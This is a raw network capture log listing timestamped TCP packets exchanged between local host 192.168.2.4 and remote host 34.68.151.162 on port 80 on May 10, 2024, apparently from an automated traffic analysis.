May 10, 2024 09:20:58.540256977 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.540271044 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.540272951 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.540282965 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.540293932 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.540294886 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.540307999 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.540318012 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.540318966 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.540330887 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.540343046 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.540348053 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.540355921 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.540369034 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.540390015 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.542234898 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.542248011 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.542285919 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.542413950 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.542426109 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.542438030 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.542448997 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.542459965 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.542464018 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.542471886 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.542484999 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.542495966 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.542499065 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.542509079 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.542521954 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.542527914 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.542531013 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.542540073 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.542552948 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.542561054 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.542565107 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.542577982 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.542586088 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.542589903 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.542602062 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.542615891 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.542623043 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.542629004 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.542639017 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.542645931 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.542651892 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.542664051 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.542675018 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.542675972 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.542686939 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.542699099 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.542705059 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.542711020 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.542714119 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.542723894 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.542735100 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.542741060 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.542748928 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.542759895 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.542764902 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.542782068 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.542793989 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.542800903 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.542805910 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.542818069 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.542821884 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.542854071 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.543968916 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.543982029 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.543994904 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.544007063 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.544013977 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.544018984 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.544033051 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.544044018 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.544050932 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.544055939 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.544060946 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.544068098 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.544078112 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.544080973 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.544095039 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.544115067 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.544126034 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.544130087 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.544130087 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.544137955 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.544150114 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.544171095 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.544194937 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.546129942 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.546144009 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.546154022 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.546179056 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.546181917 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.546190977 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.546204090 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.546212912 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.546216011 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.546228886 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.546240091 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.546251059 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.546267033 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.546269894 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.546269894 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.546279907 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.546289921 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.546292067 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.546304941 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.546314955 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.546317101 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.546329975 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.546343088 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.546344995 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.546354055 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.546366930 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.546374083 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.546380043 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.546391964 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.546391964 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.546405077 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.546416044 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.546416044 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.546431065 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.546438932 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.546442986 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.546454906 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.546466112 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.546478033 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.546478033 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.546489954 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.546500921 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.546502113 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.546514988 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.546520948 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.546528101 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.546536922 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.546540976 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.546554089 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.546562910 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.546565056 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.546597958 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.548185110 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.548197031 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.548208952 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.548221111 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.548230886 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.548239946 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.548249960 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.548263073 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.548269033 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.548275948 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.548283100 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.548290968 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.548302889 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.548302889 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.548316002 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.548326015 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.548329115 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.548341036 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.548353910 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.548357010 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.548368931 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.548374891 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.548415899 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.549743891 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.549756050 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.549770117 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.549782038 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.549788952 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.549794912 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.549807072 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.549817085 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.549818993 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.549832106 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.549843073 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.549854040 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.549855947 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.549866915 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.549879074 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.549889088 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.549896955 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.549896955 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.549902916 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.549916983 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.549927950 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.549931049 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.549941063 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.549952030 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.549959898 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.549964905 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.549968958 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.549977064 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.549988985 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.549998045 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.549999952 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.550012112 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.550013065 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.550025940 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.550029993 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.550039053 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.550050020 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.550060987 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.550067902 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.550075054 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.550082922 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.550087929 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.550107956 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.550108910 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.550121069 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.550132990 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.550143957 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.550143957 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.550157070 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.550168991 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.550170898 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.550195932 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.551037073 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.551059008 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.551070929 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.551081896 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.551083088 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.551095009 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.551100969 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.551107883 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.551120043 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.551124096 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.551132917 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.551143885 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.551156044 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.551166058 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.551167011 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.551179886 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.551191092 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.551196098 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.551204920 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.551209927 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.551218033 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.551224947 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.551258087 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.552889109 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.552901983 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.552911997 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.552922964 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.552934885 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.552946091 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.552954912 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.552956104 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.552968025 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.552974939 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.552984953 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.552992105 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.552999020 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.553011894 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.553021908 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.553033113 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.553034067 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.553034067 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.553045988 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.553056002 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.553060055 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.553071976 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.553082943 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.553088903 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.553095102 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.553107023 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.553112030 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.553118944 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.553124905 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.553132057 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.553143978 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.553154945 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.553162098 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.553165913 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.553178072 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.553177118 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.553189993 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.553200960 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.553203106 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.553215981 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.553227901 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.553234100 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.553239107 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.553251028 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.553256035 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.553263903 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.553271055 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.553276062 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.553287029 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.553297997 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.553297997 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.553322077 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.554475069 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.554512024 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.554661989 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.554683924 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.554697037 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.554708004 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.554718971 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.554722071 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.554730892 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.554733038 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.554744005 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.554757118 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.554768085 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.554773092 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.554780006 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.554785967 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.554792881 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.554805040 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.554812908 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.554816961 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.554830074 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.554846048 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.554862976 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.556564093 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.556576014 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.556586981 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.556598902 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.556608915 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.556616068 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.556621075 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.556632996 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.556643963 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.556653023 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.556653976 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.556665897 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.556668043 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.556679964 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.556690931 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.556701899 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.556709051 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.556709051 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.556715012 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.556727886 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.556736946 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.556737900 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.556750059 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.556761026 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.556761026 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.556771994 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.556780100 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.556783915 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.556796074 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.556798935 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.556812048 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.556828022 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.556830883 CEST	49754	80	192.168.2.4	34.68.151.162
